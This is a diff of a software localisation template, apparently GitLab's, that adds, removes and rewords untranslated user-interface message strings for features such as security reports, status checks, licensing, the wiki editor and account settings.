@@ -29573,7 +29348,10 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
-msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Upgrade or start a free trial"
msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
@@ -29582,6 +29360,12 @@ msgstr ""
msgid "SecurityConfiguration|View history"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request."
+msgstr ""
+
+msgid "SecurityConfiguration|With the information provided, you can immediately begin risk analysis and remediation within GitLab."
+msgstr ""
+
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
@@ -29594,6 +29378,27 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project"
msgstr ""
+msgid "SecurityPolicies|Description"
+msgstr ""
+
+msgid "SecurityPolicies|Enforcement status"
+msgstr ""
+
+msgid "SecurityPolicies|Latest scan"
+msgstr ""
+
+msgid "SecurityPolicies|Network"
+msgstr ""
+
+msgid "SecurityPolicies|Policy type"
+msgstr ""
+
+msgid "SecurityPolicies|Scan execution"
+msgstr ""
+
+msgid "SecurityPolicies|view results"
+msgstr ""
+
msgid "SecurityReports|%{firstProject} and %{secondProject}"
msgstr ""
@@ -29606,7 +29411,7 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|All activity"
msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
@@ -29669,6 +29474,9 @@ msgstr ""
msgid "SecurityReports|Error fetching the vulnerability list. Please check your network connection and try again."
msgstr ""
+msgid "SecurityReports|Error parsing security reports"
+msgstr ""
+
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
@@ -29774,6 +29582,9 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
+msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
+msgstr ""
+
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -29876,9 +29687,6 @@ msgstr ""
msgid "Select Page"
msgstr ""
-msgid "Select Stack"
-msgstr ""
-
msgid "Select a branch"
msgstr ""
@@ -29909,9 +29717,15 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a role"
+msgstr ""
+
msgid "Select a shared template repository for all projects on this instance."
msgstr ""
+msgid "Select a subgroup to use as a template when creating new projects in the group."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -30014,9 +29828,6 @@ msgstr ""
msgid "Select target branch"
msgstr ""
-msgid "Select the custom project template source group."
-msgstr ""
-
msgid "Select timezone"
msgstr ""
@@ -30110,7 +29921,7 @@ msgstr ""
msgid "Send report"
msgstr ""
-msgid "Send usage data"
+msgid "Send service data"
msgstr ""
msgid "Sentry API URL"
@@ -30149,10 +29960,10 @@ msgstr ""
msgid "Serverless platform"
msgstr ""
-msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
+msgid "ServerlessDetails|Configure cluster."
msgstr ""
-msgid "ServerlessDetails|Install Prometheus"
+msgid "ServerlessDetails|Function invocation metrics require the Prometheus cluster integration."
msgstr ""
msgid "ServerlessDetails|Invocation metrics loading or not available at this time."
@@ -30194,9 +30005,6 @@ msgstr ""
msgid "Serverless|In order to start using functions as a service, you must first install Knative on your Kubernetes cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "Serverless|Install Knative"
-msgstr ""
-
msgid "Serverless|Learn more about Serverless"
msgstr ""
@@ -30239,6 +30047,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service ping is disabled, and cannot be configured through this form."
+msgstr ""
+
msgid "ServiceDesk|Enable Service Desk"
msgstr ""
@@ -30329,6 +30140,9 @@ msgstr ""
msgid "Set requirements for a user to sign-in. Enable mandatory two-factor authentication."
msgstr ""
+msgid "Set size limits for displaying diffs in the browser."
+msgstr ""
+
msgid "Set target branch"
msgstr ""
@@ -30509,9 +30323,6 @@ msgstr ""
msgid "SeverityWidget|There was an error while updating severity."
msgstr ""
-msgid "Shards (%{shards})"
-msgstr ""
-
msgid "Shards to synchronize"
msgstr ""
@@ -30536,6 +30347,9 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
+msgid "Shared runners details"
+msgstr ""
+
msgid "Shared runners help link"
msgstr ""
@@ -30560,9 +30374,6 @@ msgstr ""
msgid "Show all issues."
msgstr ""
-msgid "Show all members"
-msgstr ""
-
msgid "Show all test cases."
msgstr ""
@@ -30590,9 +30401,6 @@ msgstr ""
msgid "Show complete raw log"
msgstr ""
-msgid "Show dependencies"
-msgstr ""
-
msgid "Show details"
msgstr ""
@@ -30626,12 +30434,6 @@ msgstr ""
msgid "Show one file at a time"
msgstr ""
-msgid "Show only direct members"
-msgstr ""
-
-msgid "Show only inherited members"
-msgstr ""
-
msgid "Show parent pages"
msgstr ""
@@ -30684,6 +30486,9 @@ msgstr ""
msgid "Showing all issues"
msgstr ""
+msgid "Showing data for workflow items created in this date range. Date range cannot exceed %{maxDateRange} days."
+msgstr ""
+
msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
@@ -31017,9 +30822,6 @@ msgstr ""
msgid "Something went wrong while deleting description changes. Please try again."
msgstr ""
-msgid "Something went wrong while deleting the package."
-msgstr ""
-
msgid "Something went wrong while deleting the source branch. Please try again."
msgstr ""
@@ -31122,6 +30924,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} notifications."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} to-do item."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -31188,12 +30993,6 @@ msgstr ""
msgid "Sort direction: Descending"
msgstr ""
-msgid "SortOptions|Access level, ascending"
-msgstr ""
-
-msgid "SortOptions|Access level, descending"
-msgstr ""
-
msgid "SortOptions|Blocking"
msgstr ""
@@ -31227,9 +31026,6 @@ msgstr ""
msgid "SortOptions|Last created"
msgstr ""
-msgid "SortOptions|Last joined"
-msgstr ""
-
msgid "SortOptions|Last updated"
msgstr ""
@@ -31272,9 +31068,6 @@ msgstr ""
msgid "SortOptions|Oldest created"
msgstr ""
-msgid "SortOptions|Oldest joined"
-msgstr ""
-
msgid "SortOptions|Oldest last activity"
msgstr ""
@@ -31326,6 +31119,9 @@ msgstr ""
msgid "SortOptions|Start soon"
msgstr ""
+msgid "SortOptions|Title"
+msgstr ""
+
msgid "SortOptions|Type"
msgstr ""
@@ -31344,6 +31140,9 @@ msgstr ""
msgid "Source Branch"
msgstr ""
+msgid "Source Editor instance is required to set up an extension."
+msgstr ""
+
msgid "Source IP"
msgstr ""
@@ -31446,15 +31245,6 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "StageName|Build"
-msgstr ""
-
-msgid "StageName|Deploy"
-msgstr ""
-
-msgid "StageName|Test"
-msgstr ""
-
msgid "Standard"
msgstr ""
@@ -31671,12 +31461,18 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{pending} pending"
+msgstr ""
+
msgid "StatusCheck|API to check"
msgstr ""
msgid "StatusCheck|Add status check"
msgstr ""
+msgid "StatusCheck|All passed"
+msgstr ""
+
msgid "StatusCheck|An error occurred deleting the %{name} status check."
msgstr ""
@@ -31695,7 +31491,7 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
-msgid "StatusCheck|Invoke an external API as part of the approvals"
+msgid "StatusCheck|Failed to load status checks."
msgstr ""
msgid "StatusCheck|Invoke an external API as part of the pipeline process."
@@ -31725,6 +31521,9 @@ msgstr ""
msgid "StatusCheck|Update status check"
msgstr ""
+msgid "StatusCheck|When this merge request is updated, a call is sent to the following APIs to confirm their status. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -31812,6 +31611,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Strikethrough"
+msgstr ""
+
msgid "Subgroup information"
msgstr ""
@@ -31821,9 +31623,6 @@ msgstr ""
msgid "Subgroup navigation"
msgstr ""
-msgid "Subgroup overview"
-msgstr ""
-
msgid "SubgroupCreationLevel|Allowed to create subgroups"
msgstr ""
@@ -32178,6 +31977,9 @@ msgstr ""
msgid "SuperSonics|Activate"
msgstr ""
+msgid "SuperSonics|Activate cloud license"
+msgstr ""
+
msgid "SuperSonics|Activate subscription"
msgstr ""
@@ -32196,7 +31998,13 @@ msgstr ""
msgid "SuperSonics|Buy subscription"
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Cloud license"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
msgid "SuperSonics|Expires on"
@@ -32268,9 +32076,6 @@ msgstr ""
msgid "SuperSonics|There is a connectivity issue."
msgstr ""
-msgid "SuperSonics|This field is required."
-msgstr ""
-
msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -32283,7 +32088,7 @@ msgstr ""
msgid "SuperSonics|Type"
msgstr ""
-msgid "SuperSonics|Upload a legacy license"
+msgid "SuperSonics|Upload a license file"
msgstr ""
msgid "SuperSonics|Users in subscription"
@@ -32331,7 +32136,7 @@ msgstr ""
msgid "Survey Response"
msgstr ""
-msgid "Switch Branch"
+msgid "Switch branch"
msgstr ""
msgid "Switch branch/tag"
@@ -32346,7 +32151,7 @@ msgstr ""
msgid "Symbolic link"
msgstr ""
-msgid "Sync information"
+msgid "Sync LDAP"
msgstr ""
msgid "Sync now"
@@ -32355,10 +32160,10 @@ msgstr ""
msgid "Synced"
msgstr ""
-msgid "Synchronization disabled"
+msgid "Synchronization settings"
msgstr ""
-msgid "Synchronization settings"
+msgid "Synchronize LDAP"
msgstr ""
msgid "Syncing…"
@@ -32550,6 +32355,9 @@ msgstr ""
msgid "Telephone number"
msgstr ""
+msgid "Tell us your experiences with the new Markdown editor %{linkStart}in this feedback issue%{linkEnd}."
+msgstr ""
+
msgid "Template"
msgstr ""
@@ -32920,7 +32728,7 @@ msgstr ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
+msgid "The Compliance Report captures merged changes that violate compliance best practices."
msgstr ""
msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
@@ -32929,6 +32737,9 @@ msgstr ""
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
+msgid "The ID of the application."
+msgstr ""
+
msgid "The Issue Tracker is the place to add things that need to be improved or solved in a project"
msgstr ""
@@ -32938,6 +32749,9 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
+msgid "The Snowplow cookie domain."
+msgstr ""
+
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -32971,9 +32785,6 @@ msgstr ""
msgid "The character highlighter helps you keep the subject line to %{titleLength} characters and wrap the body at %{bodyLength} so they are readable in git."
msgstr ""
-msgid "The coding stage shows the time from the first commit to creating the merge request. The data will automatically be added here once you create your first merge request."
-msgstr ""
-
msgid "The collection of events added to the data gathered for that stage."
msgstr ""
@@ -33007,7 +32818,7 @@ msgstr ""
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
-msgid "The default CI configuration path for new projects."
+msgid "The default CI/CD configuration file and path for new projects."
msgstr ""
msgid "The dependency list details information about the components used within your project."
@@ -33037,6 +32848,9 @@ msgstr ""
msgid "The errors we encountered were:"
msgstr ""
+msgid "The file containing the export is not available yet; it may still be transferring. Please try again later."
+msgstr ""
+
msgid "The file has been successfully created."
msgstr ""
@@ -33114,6 +32928,9 @@ msgstr ""
msgid "The group_project_ids parameter is only allowed for a group"
msgstr ""
+msgid "The hostname of your Snowplow collector."
+msgstr ""
+
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -33135,15 +32952,15 @@ msgstr ""
msgid "The invitation was successfully resent."
msgstr ""
-msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
-msgstr ""
-
msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
msgstr ""
msgid "The latest artifacts created by jobs in the most recent successful pipeline will be stored."
msgstr ""
+msgid "The latest pipeline for this merge request did not complete successfully."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -33228,18 +33045,12 @@ msgstr ""
msgid "The password for your GitLab account on %{link_to_gitlab} has successfully been changed."
msgstr ""
-msgid "The phase of the development lifecycle."
-msgstr ""
-
msgid "The pipeline has been deleted"
msgstr ""
msgid "The pipelines schedule runs pipelines in the future, repeatedly, for specific branches or tags. Those scheduled pipelines will inherit limited project access based on their associated user."
msgstr ""
-msgid "The planning stage shows the time from the previous step to pushing your first commit. This time will be added automatically once you push your first commit."
-msgstr ""
-
msgid "The private key to use when a client certificate is provided. This value is encrypted at rest."
msgstr ""
@@ -33303,9 +33114,6 @@ msgstr ""
msgid "The repository must be accessible over %{code_open}http://%{code_close}, %{code_open}https://%{code_close}, %{code_open}ssh://%{code_close} or %{code_open}git://%{code_close}."
msgstr ""
-msgid "The review stage shows the time from creating the merge request to merging it. The data will automatically be added after you merge your first merge request."
-msgstr ""
-
msgid "The same shared runner executes code from multiple projects, unless you configure autoscaling with %{link} set to 1 (which it is on GitLab.com)."
msgstr ""
@@ -33324,10 +33132,10 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The specified tab is invalid, please select another"
+msgid "The source branch will be deleted"
msgstr ""
-msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
+msgid "The specified tab is invalid, please select another"
msgstr ""
msgid "The start date must be ealier than the end date."
@@ -33342,9 +33150,6 @@ msgstr ""
msgid "The tag name can't be changed for an existing release."
msgstr ""
-msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
-msgstr ""
-
msgid "The time taken by each data entry gathered by that stage."
msgstr ""
@@ -33354,9 +33159,6 @@ msgstr ""
msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
-msgid "The usage ping is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "The user is being deleted."
msgstr ""
@@ -33375,9 +33177,6 @@ msgstr ""
msgid "The username for the Jenkins server."
msgstr ""
-msgid "The value lying at the midpoint of a series of observed values. E.g., between 3, 5, 9, the median is 5. Between 3, 5, 7, 8, the median is (5+7)/2 = 6."
-msgstr ""
-
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
@@ -33519,9 +33318,6 @@ msgstr ""
msgid "There was a problem communicating with your device."
msgstr ""
-msgid "There was a problem dismissing this notification."
-msgstr ""
-
msgid "There was a problem fetching branches."
msgstr ""
@@ -33642,6 +33438,9 @@ msgstr ""
msgid "There was an error loading merge request approval settings."
msgstr ""
+msgid "There was an error loading related feature flags"
+msgstr ""
+
msgid "There was an error loading users activity calendar."
msgstr ""
@@ -33717,6 +33516,9 @@ msgstr ""
msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
+msgid "There was an error while fetching value stream summary data."
+msgstr ""
+
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
msgstr ""
@@ -33750,7 +33552,7 @@ msgstr ""
msgid "Third Party Advisory Link"
msgstr ""
-msgid "Third party offers"
+msgid "Third-party offers"
msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
@@ -33846,6 +33648,9 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
+msgid "This code snippet contains everything reflected in the configuration form. Copy and paste it into %{linkStart}.gitlab-ci.yml%{linkEnd} file and save your changes. Future %{scanType} scans will use these settings."
+msgstr ""
+
msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
@@ -33885,9 +33690,6 @@ msgstr ""
msgid "This diff is collapsed."
msgstr ""
-msgid "This diff was suppressed by a .gitattributes entry."
-msgstr ""
-
msgid "This directory"
msgstr ""
@@ -33972,7 +33774,7 @@ msgstr ""
msgid "This is a merge train pipeline"
msgstr ""
-msgid "This is a private email address %{helpIcon} generated just for you. Anyone who gets ahold of it can create issues or merge requests as if they were you. You should %{resetLinkStart}reset it%{resetLinkEnd} if that ever happens."
+msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
msgid "This is a security log of important events involving your account."
@@ -34717,9 +34519,15 @@ msgstr ""
msgid "To connect an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To continue, you need to select the link in the confirmation email we sent to verify your email address. If you didn't get our email, select %{strongStart}Resend confirmation email.%{strongEnd}"
+msgstr ""
+
msgid "To define internal users, first enable new users set to external"
msgstr ""
+msgid "To enable Registration Features, make sure \"Enable service ping\" is checked."
+msgstr ""
+
msgid "To ensure no loss of personal content, this account should only be used for matters related to %{group_name}."
msgstr ""
@@ -34804,9 +34612,6 @@ msgstr ""
msgid "To set up this service:"
msgstr ""
-msgid "To simplify the billing process, GitLab will collect user counts in order to prorate charges for user growth throughout the year using a quarterly reconciliation process."
-msgstr ""
-
msgid "To specify the notification level per project of a group you belong to, you need to visit project page and change notification level there."
msgstr ""
@@ -34906,9 +34711,18 @@ msgstr ""
msgid "Token"
msgstr ""
+msgid "Token name"
+msgstr ""
+
msgid "Token valid until revoked"
msgstr ""
+msgid "Tokens|Scopes set the permission levels granted to the token."
+msgstr ""
+
+msgid "Tokens|Select scopes"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -34921,6 +34735,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "TopNav|Go back"
+msgstr ""
+
msgid "Topics (optional)"
msgstr ""
@@ -34969,6 +34786,15 @@ msgstr ""
msgid "Track groups of issues that share a theme, across projects and milestones"
msgstr ""
+msgid "Track important events in your GitLab instance."
+msgstr ""
+
+msgid "Track important events in your group."
+msgstr ""
+
+msgid "Track important events in your project."
+msgstr ""
+
msgid "Track time with quick actions"
msgstr ""
@@ -35451,12 +35277,6 @@ msgstr ""
msgid "Unhappy?"
msgstr ""
-msgid "Uninstall"
-msgstr ""
-
-msgid "Uninstalling"
-msgstr ""
-
msgid "Units|ms"
msgstr ""
@@ -35547,21 +35367,6 @@ msgstr ""
msgid "UnscannedProjects|60 or more days"
msgstr ""
-msgid "UnscannedProjects|Default branch scanning by project"
-msgstr ""
-
-msgid "UnscannedProjects|Out of date"
-msgstr ""
-
-msgid "UnscannedProjects|Project scanning"
-msgstr ""
-
-msgid "UnscannedProjects|Untested"
-msgstr ""
-
-msgid "UnscannedProjects|Your projects are up do date! Nice job!"
-msgstr ""
-
msgid "Unschedule job"
msgstr ""
@@ -35697,9 +35502,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated to %{linkStart}chart v%{linkEnd}"
-msgstr ""
-
msgid "Updates"
msgstr ""
@@ -36036,9 +35838,15 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
+msgid "Use GitLab Runner in AWS"
+msgstr ""
+
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
+msgid "Use an AWS CloudFormation Template (CFT) to install and configure GitLab Runner in AWS."
+msgstr ""
+
msgid "Use cURL"
msgstr ""
@@ -36168,6 +35976,9 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} %{spanStart}(Busy)%{spanEnd}"
+msgstr ""
+
msgid "UserAvailability|%{author} (Busy)"
msgstr ""
@@ -36465,9 +36276,6 @@ msgstr ""
msgid "Value"
msgstr ""
-msgid "Value Stream"
-msgstr ""
-
msgid "Value Stream Analytics"
msgstr ""
@@ -36477,9 +36285,15 @@ msgstr ""
msgid "Value Stream Analytics gives an overview of how much time it takes to go from idea to production in your project."
msgstr ""
+msgid "Value stream"
+msgstr ""
+
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
+msgid "ValueStreamAnalytics|%{stageCount}+ items"
+msgstr ""
+
msgid "ValueStreamAnalytics|%{value}M"
msgstr ""
@@ -36561,9 +36375,6 @@ msgstr ""
msgid "Verification concurrency limit"
msgstr ""
-msgid "Verification information"
-msgstr ""
-
msgid "Verification status"
msgstr ""
@@ -36655,6 +36466,9 @@ msgstr ""
msgid "View full log"
msgstr ""
+msgid "View group in admin area"
+msgstr ""
+
msgid "View group labels"
msgstr ""
@@ -36673,9 +36487,6 @@ msgstr ""
msgid "View job"
msgstr ""
-msgid "View job dependencies in the pipeline graph!"
-msgstr ""
-
msgid "View job log"
msgstr ""
@@ -36709,6 +36520,9 @@ msgstr ""
msgid "View project"
msgstr ""
+msgid "View project in admin area"
+msgstr ""
+
msgid "View project labels"
msgstr ""
@@ -36778,7 +36592,10 @@ msgstr ""
msgid "Visit settings page"
msgstr ""
-msgid "Visual Studio Code"
+msgid "Visual Studio Code (HTTPS)"
+msgstr ""
+
+msgid "Visual Studio Code (SSH)"
msgstr ""
msgid "VisualReviewApp|%{stepStart}Step 1%{stepEnd}. Copy the following script:"
@@ -36919,7 +36736,7 @@ msgstr ""
msgid "VulnerabilityManagement|invalid issue link or ID"
msgstr ""
-msgid "VulnerabilityStatusTypes|All"
+msgid "VulnerabilityStatusTypes|All statuses"
msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
@@ -37051,6 +36868,9 @@ msgstr ""
msgid "Warning: Displaying this diagram might cause performance issues on this page."
msgstr ""
+msgid "Warning: Synchronizing LDAP removes direct members' access."
+msgstr ""
+
msgid "We are currently unable to fetch data for the pipeline header."
msgstr ""
@@ -37351,6 +37171,15 @@ msgstr ""
msgid "Welcome, %{name}!"
msgstr ""
+msgid "What are group audit events?"
+msgstr ""
+
+msgid "What are instance audit events?"
+msgstr ""
+
+msgid "What are project audit events?"
+msgstr ""
+
msgid "What are you searching for?"
msgstr ""
@@ -37360,6 +37189,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is Auto DevOps?"
+msgstr ""
+
msgid "What is repository mirroring?"
msgstr ""
@@ -37563,7 +37395,7 @@ msgstr ""
msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
msgstr ""
-msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgid "WikiPage|Are you sure you want to switch back to the classic editor?"
msgstr ""
msgid "WikiPage|Cancel"
@@ -37584,6 +37416,9 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Get a richer editing experience"
+msgstr ""
+
msgid "WikiPage|Keep editing"
msgstr ""
@@ -37599,16 +37434,16 @@ msgstr ""
msgid "WikiPage|Save changes"
msgstr ""
-msgid "WikiPage|Switch to old editor"
+msgid "WikiPage|Switch me back to the classic editor."
msgstr ""
-msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
+msgid "WikiPage|Switch to classic editor"
msgstr ""
-msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgid "WikiPage|Switching to the classic editor will discard any changes you've made in the new editor."
msgstr ""
-msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly. Switching back to the classic editor will discard changes you've made in the new editor."
msgstr ""
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
@@ -37623,10 +37458,16 @@ msgstr ""
msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
msgstr ""
+msgid "WikiPage|Try the new visual Markdown editor. Read the %{linkStart}documentation%{linkEnd} to learn what's currently supported."
+msgstr ""
+
+msgid "WikiPage|Try this later"
+msgstr ""
+
msgid "WikiPage|Update %{pageTitle}"
msgstr ""
-msgid "WikiPage|Use new editor"
+msgid "WikiPage|Use the new editor"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -37896,6 +37737,9 @@ msgstr ""
msgid "You can easily contribute to them by requesting to join these groups."
msgstr ""
+msgid "You can enable Registration Features because Service Ping is enabled. To continue using Registration Features in future, you will also need to register with GitLab via a new cloud licensing service."
+msgstr ""
+
msgid "You can enable project access token creation in %{link_start}group settings%{link_end}."
msgstr ""
@@ -37935,9 +37779,6 @@ msgstr ""
msgid "You can now export your security dashboard to a CSV report."
msgstr ""
-msgid "You can now group jobs in the pipeline graph based on which jobs are configured to run first, if you use the %{codeStart}needs:%{codeEnd} keyword to establish job dependencies in your CI/CD pipelines. %{linkStart}Learn how to speed up your pipeline with needs.%{linkEnd}"
-msgstr ""
-
msgid "You can now submit a merge request to get this change into the original branch."
msgstr ""
@@ -38115,21 +37956,18 @@ msgstr ""
msgid "You have imported from this project %{numberOfPreviousImports} times before. Each new import will create duplicate issues."
msgstr ""
-msgid "You have insufficient permissions to create a Todo for this alert"
+msgid "You have insufficient permissions to configure escalation policies for this project"
msgstr ""
-msgid "You have insufficient permissions to create an HTTP integration for this project"
+msgid "You have insufficient permissions to create a Todo for this alert"
msgstr ""
-msgid "You have insufficient permissions to create an escalation policy for this project"
+msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
-msgid "You have insufficient permissions to remove an escalation policy from this project"
-msgstr ""
-
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -38193,9 +38031,6 @@ msgstr ""
msgid "You must provide your current password in order to change it."
msgstr ""
-msgid "You must select a stack for configuring your cloud provider. Learn more about"
-msgstr ""
-
msgid "You must solve the CAPTCHA in order to submit"
msgstr ""
@@ -38355,12 +38190,6 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your Commit Email will be used for web based operations, such as edits and merges."
-msgstr ""
-
-msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
-msgstr ""
-
msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
@@ -38388,18 +38217,12 @@ msgstr ""
msgid "Your Personal Access Token was revoked"
msgstr ""
-msgid "Your Primary Email will be used for avatar detection."
-msgstr ""
-
msgid "Your Projects (default)"
msgstr ""
msgid "Your Projects' Activity"
msgstr ""
-msgid "Your Public Email will be displayed on your public profile."
-msgstr ""
-
msgid "Your SSH key has expired"
msgstr ""
@@ -38412,12 +38235,6 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
-msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
-msgstr ""
-
msgid "Your To-Do List"
msgstr ""
@@ -38487,12 +38304,18 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
+msgid "Your commit email is used for web based operations, such as edits and merges."
+msgstr ""
+
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
msgid "Your dashboard has been updated. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
+msgid "Your default notification email is used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
+msgstr ""
+
msgid "Your deployment services will be broken, you will need to manually fix the services after renaming."
msgstr ""
@@ -38577,6 +38400,9 @@ msgstr ""
msgid "Your personal access tokens will expire in %{days_to_expire} days or less"
msgstr ""
+msgid "Your primary email is used for avatar detection. You can change it in your %{openingTag}profile settings%{closingTag}."
+msgstr ""
+
msgid "Your profile"
msgstr ""
@@ -38586,6 +38412,9 @@ msgstr ""
msgid "Your projects"
msgstr ""
+msgid "Your public email will be displayed on your public profile."
+msgstr ""
+
msgid "Your request for access could not be processed: %{error_meesage}"
msgstr ""
@@ -38681,6 +38510,9 @@ msgstr ""
msgid "already being used for another group or project %{timebox_name}."
msgstr ""
+msgid "already being used for another iteration within this cadence."
+msgstr ""
+
msgid "already has a \"created\" issue link"
msgstr ""
@@ -38738,12 +38570,21 @@ msgstr ""
msgid "can contain only letters of the Base64 alphabet (RFC4648) with the addition of '@', ':' and '.'"
msgstr ""
+msgid "can contain only lowercase letters, digits, and '_'."
+msgstr ""
+
msgid "can only be changed by a group admin."
msgstr ""
+msgid "can only have one escalation policy"
+msgstr ""
+
msgid "can't be enabled because signed commits are required for this project"
msgstr ""
+msgid "can't be the same as the source project"
+msgstr ""
+
msgid "can't include: %{invalid_storages}"
msgstr ""
